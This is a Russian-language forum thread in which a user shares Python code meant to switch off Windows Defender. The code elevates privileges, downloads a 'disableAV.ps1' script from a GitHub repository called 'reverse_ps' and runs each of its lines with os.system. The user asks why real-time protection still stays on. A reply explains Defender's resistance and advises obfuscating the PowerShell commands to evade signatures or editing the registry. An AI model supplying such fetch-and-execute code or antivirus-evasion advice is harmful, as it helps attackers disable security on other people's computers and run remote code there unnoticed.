• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Не работает "Set-MpPreference -DisableRealtimeMonitoring $true" в Python

29.10.2024
5
0
BIT
36
Доброго времени суток, дорогие посетители форума Codeby.net
Хотел замутить простой AVdisable который работает на .ps1
Код читает текст с GitHub: reverse_ps/disableAV.ps1 at main · tot-camiy-coder/reverse_ps (НЕ РЕКЛАМА, кроме файла disableAV.ps1 не смотреть! ещё их не доделал)
И выполняет каждую команду (тем самым Windows Defender не палит)
после Антивируса быть не должно быть, да?
Но нет! RealTime всё же остаётся (Set-MpPreference -DisableRealtimeMonitoring $true) - эта команда по моему отключает RealTime детект
Кто знает в чём может быть проблема?

Python:
import os, requests
from elevate import elevate

if not os.getpid() == 0:
    elevate()

resp = requests.get('https://raw.githubusercontent.com/tot-camiy-coder/reverse_ps/refs/heads/main/disableAV.ps1').text
dir_ = os.environ["USERPROFILE"]+"\\AppData\\Local\\Temp\\Yandex"
if not os.path.isdir(dir_):
    os.mkdir(dir_)

for cwd in resp.splitlines():
    os.system(cwd)
 

twikki

Green Team
04.03.2024
30
1
BIT
230
Доброго времени суток, дорогие посетители форума Codeby.net
Хотел замутить простой AVdisable который работает на .ps1
Код читает текст с GitHub: reverse_ps/disableAV.ps1 at main · tot-camiy-coder/reverse_ps (НЕ РЕКЛАМА, кроме файла disableAV.ps1 не смотреть! ещё их не доделал)
И выполняет каждую команду (тем самым Windows Defender не палит)
после Антивируса быть не должно быть, да?
Но нет! RealTime всё же остаётся (Set-MpPreference -DisableRealtimeMonitoring $true) - эта команда по моему отключает RealTime детект
Кто знает в чём может быть проблема?

Python:
import os, requests
from elevate import elevate

if not os.getpid() == 0:
    elevate()

resp = requests.get('https://raw.githubusercontent.com/tot-camiy-coder/reverse_ps/refs/heads/main/disableAV.ps1').text
dir_ = os.environ["USERPROFILE"]+"\\AppData\\Local\\Temp\\Yandex"
if not os.path.isdir(dir_):
    os.mkdir(dir_)

for cwd in resp.splitlines():
    os.system(cwd)



Сразу скажу: подход с загрузкой и выполнением скриптов из сети — это поле минное, и к решению, которое ты пытаешься применить, есть свои подводные камни. Чтобы разложить по полочкам:

  1. Set-MpPreference -DisableRealtimeMonitoring $true — да, эта команда действительно должна отключать Real-Time Protection в Windows Defender, но вот загвоздка: она требует, чтобы PowerShell был запущен с администраторскими привилегиями, а Windows Defender может иногда включать защиту обратно через некоторое время или после перезагрузки.
  2. Windows Defender и другие защиты — у Defender есть механизмы контроля политики, и он, как правило, распознает подобные попытки отключить Real-Time Protection, особенно если другие службы безопасности активно мониторят изменения системы.
  3. Код на Python — вариант с получением команд с GitHub имеет слабые места:
    • Команды выполняются локально и могут отлавливаться, если у антивируса есть поведенческая защита.
    • os.system(cwd) — простой вызов командной строки, но Defender может отслеживать запуск PowerShell-скриптов. При выполнении PowerShell скриптов из внешних источников, защита может активироваться и заблокировать загрузку или выполнение.
  4. Решение? Для обхода:
    • Можно попробовать обфусцировать команды PowerShell, чтобы их сигнатуры не были так легко опознаны антивирусом.
    • Либо использовать изменение привилегий в реестре, если необходимо полное отключение.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!